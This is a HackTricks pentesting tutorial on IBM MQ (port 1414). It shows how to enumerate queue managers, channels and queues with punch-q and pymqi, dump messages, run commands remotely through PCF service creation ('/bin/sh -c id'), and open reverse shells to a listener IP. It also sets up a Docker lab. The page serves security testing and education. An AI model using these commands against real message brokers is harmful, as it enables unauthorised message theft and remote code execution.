1414 - Pentesting IBM MQ - HackTricks

# 1414 - Pentesting IBM MQ

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic information

IBM MQ is an IBM technology to manage message queues. As other message broker technologies, it is dedicated to receive, store, process and classify information between producers and consumers.

By default, it exposes IBM MQ TCP port 1414. Sometimes, HTTP REST API can be exposed on port 9443. Metrics (Prometheus) could also be accessed from TCP port 9157.

The IBM MQ TCP port 1414 can be used to manipulate messages, queues, channels, ... but also to control the instance.

IBM provides a large technical documentation available on https://www.ibm.com/docs/en/ibm-mq.

## Tools

A suggested tool for easy exploitation is punch-q, with Docker usage. The tool is actively using the Python library `pymqi`.

For a more manual approach, use the Python library pymqi. IBM MQ dependencies are needed.

### Installing pymqi

IBM MQ dependencies needs to be installed and loaded:

1. Create an account (IBMid) on https://login.ibm.com/.
2. Download IBM MQ libraries from https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. For Linux x86_64 it is 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
3. Decompress (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Run `sudo ./mqlicense.sh` to accept licenses terms.

> If you are under Kali Linux, modify the file `mqlicense.sh`: remove/comment the following lines (between lines 105-110):

>     if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
>      then
>        echo "ERROR: This package is incompatible with this system"
>        echo "       This package was built for ${BUILD_PLATFORM}"
>        exit 1
>     fi

5. Install these packages:

    sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
    sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
    sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm

6. Then, temporary add the `.so` files to LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, before running other tools using these dependencies.

Then, you can clone the project pymqi: it contains interesting code snippets, constants, ... Or you can directly install the library with: `pip install pymqi`.

### Using punch-q

#### With Docker

Simply use: `sudo docker run --rm -ti leonjza/punch-q`.

#### Without Docker

Clone the project punch-q then follow the readme for installation (`pip install -r requirements.txt && python3 setup.py install`).

After, it can be used with `punch-q` command.

## Enumeration

You can try to enumerate the queue manager name, the users, the channels and the queues with punch-q or pymqi.

### Queue Manager

Sometimes, there is no protection against getting the Queue Manager name:

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
    Queue Manager name: MYQUEUEMGR

### Channels

punch-q is using an internal (modifiable) wordlist to find existing channels. Usage example:

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
    "DEV.ADMIN.SVRCONN" exists and was authorised.
    "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
    "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

It happens that some IBM MQ instances accept unauthenticated MQ requests, so `--username / --password` is not needed. Of course, access rights can also vary.

As soon as we get one channel name (here: `DEV.ADMIN.SVRCONN`), we can enumerate all other channels.

The enumeration can basically be done with this code snippet `code/examples/dis_channels.py` from pymqi:

    import logging
    import pymqi

    logging.basicConfig(level=logging.INFO)

    queue_manager = 'MYQUEUEMGR'
    channel = 'DEV.ADMIN.SVRCONN'
    host = '172.17.0.2'
    port = '1414'
    conn_info = '%s(%s)' % (host, port)
    user = 'admin'
    password = 'passw0rd'

    prefix = '*'

    args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

    qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
    pcf = pymqi.PCFExecute(qmgr)

    try:
        response = pcf.MQCMD_INQUIRE_CHANNEL(args)
    except pymqi.MQMIError as e:
        if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
            logging.info('No channels matched prefix `%s`' % prefix)
        else:
            raise
    else:
        for channel_info in response:
            channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
            logging.info('Found channel `%s`' % channel_name)

    qmgr.disconnect()

... But punch-q also embed that part (with more infos!). It can be launch with:

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
    Showing channels with prefix: "*"...

    | Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
    |----------------------|-------------------|---------|-----------|------------|-----------------|------------|
    | DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
    | DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
    | SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
    | SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
    | SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
    | SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
    | SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
    | SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
    | SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
    | SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
    | SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
    | SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
    | SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

### Queues

There is a code snippet with pymqi (`dis_queues.py`) but punch-q permits to retrieve more pieces of info about the queues:

     ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
    Showing queues with prefix: "*"...
    | Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
    |           |                      |        |         |        | GR Name | eue Nam |                                   |
    |           |                      |        |         |        |         | e       |                                   |
    |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
    | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
    | 0 18.35.1 | E                    |        |         |        |         |         |                                   |
    | 9         |                      |        |         |        |         |         |                                   |
    | 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
    | 0 18.35.1 |                      |        |         |        |         |         |                                   |
    | 9         |                      |        |         |        |         |         |                                   |
    | 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
    | 0 18.35.1 |                      |        |         |        |         |         |                                   |
    | 9         |                      |        |         |        |         |         |                                   |
    | 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
    | 0 18.35.1 |                      |        |         |        |         |         |                                   |
    | 9         |                      |        |         |        |         |         |                                   |
    # Truncated

## Exploit

### Dump messages

You can target queue(s)/channel(s) to sniff out / dump messages from them (non-destructive operation). Examples:

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Do not hesitate to iterate on all identified queues.

### Code execution

> Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in IBM MQ documentation.
> PCF (Programmable Command Formats) is what we are focused on to interact remotely with the instance. punch-q and furthermore pymqi are based on PCF interactions.

> You can find a list of PCF commands:

> - From PCF documentation, and
> - from constants.

> One interesting command is `MQCMD_CREATE_SERVICE` and its documentation is available here. It takes as argument a `StartCommand` pointing to a local program on the instance (example: `/bin/sh`).

> There is also a warning of the command in the docs: "Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files."

> Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` to run the equivalent MQSC command for service creation (`DEFINE SERVICE`). This aspect is not covered yet here.

The service creation / deletion with PCF for remote program execution can be done by punch-q:

Example 1

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

> In the logs of IBM MQ, you can read the command is successfully executed:

>     2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

You can also enumerate existing programs on the machine (here `/bin/doesnotexist` ... does not exist):

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
    s "whatever"
    Command: /bin/doesnotexist
    Arguments: -c id
    Service Name: 6e3ef5af652b4436

    Creating service...
    Starting service...
    The program '/bin/doesnotexist' is not available on the remote system.
    Giving the service 0 second(s) to live...
    Cleaning up service...
    Done

Be aware that the program launch is asynchronous. So you need a second item to leverage the exploit (listener for reverse shell, file creation on different service, data exfiltration through network ...)

Example 2

For easy reverse shell, punch-q proposes also two reverse shell payloads :

- One with bash
- One with perl

Of course you can build a custom one with the `execute` command.

For bash:

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

For perl:

    ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

### Custom PCF

You can dig into the IBM MQ documentation and directly use pymqi python library to test specific PCF command not implemented in punch-q.

Example:

    import pymqi

    queue_manager = 'MYQUEUEMGR'
    channel = 'DEV.ADMIN.SVRCONN'
    host = '172.17.0.2'
    port = '1414'
    conn_info = '%s(%s)' % (host, port)
    user = 'admin'
    password = 'passw0rd'

    qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
    pcf = pymqi.PCFExecute(qmgr)

    try:
        # Replace here with your custom PCF args and command
        # The constants can be found in pymqi/code/pymqi/CMQCFC.py
        args = {pymqi.CMQCFC.xxxxx: "value"}
        response = pcf.MQCMD_CUSTOM_COMMAND(args)
    except pymqi.MQMIError as e:
        print("Error")
    else:
        # Process response

    qmgr.disconnect()

If you cannot find the constant names, you can refer to the IBM MQ documentation.

> _Example for `MQCMD_REFRESH_CLUSTER` (Decimal = 73). It needs the parameter `MQCA_CLUSTER_NAME` (Decimal = 2029) which can be `_` (Doc: ):*

>     import pymqi

>     queue_manager = 'MYQUEUEMGR'
>     channel = 'DEV.ADMIN.SVRCONN'
>     host = '172.17.0.2'
>     port = '1414'
>     conn_info = '%s(%s)' % (host, port)
>     user = 'admin'
>     password = 'passw0rd'

>     qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
>     pcf = pymqi.PCFExecute(qmgr)

>     try:
>         args = {2029: "*"}
>         response = pcf.MQCMD_REFRESH_CLUSTER(args)
>     except pymqi.MQMIError as e:
>         print("Error")
>     else:
>         print(response)

>     qmgr.disconnect()

## Testing environment

If you want to test the IBM MQ behavior and exploits, you can set up a local environment based on Docker:

1. Having an account on ibm.com and cloud.ibm.com.
2. Create a containerized IBM MQ with:

    sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
    sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

By default, the authentication is enabled, the username is `admin` and the password is `passw0rd` (Environment variable `MQ_ADMIN_PASSWORD`). Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`).

You should have the IBM MQ up and running with its ports exposed:

    ❯ sudo docker ps
    CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
    58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

> The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/.

## References

- mgeeky's gist - "Practical IBM MQ Penetration Testing notes"
- MQ Jumping - DEFCON 15
- IBM MQ documentation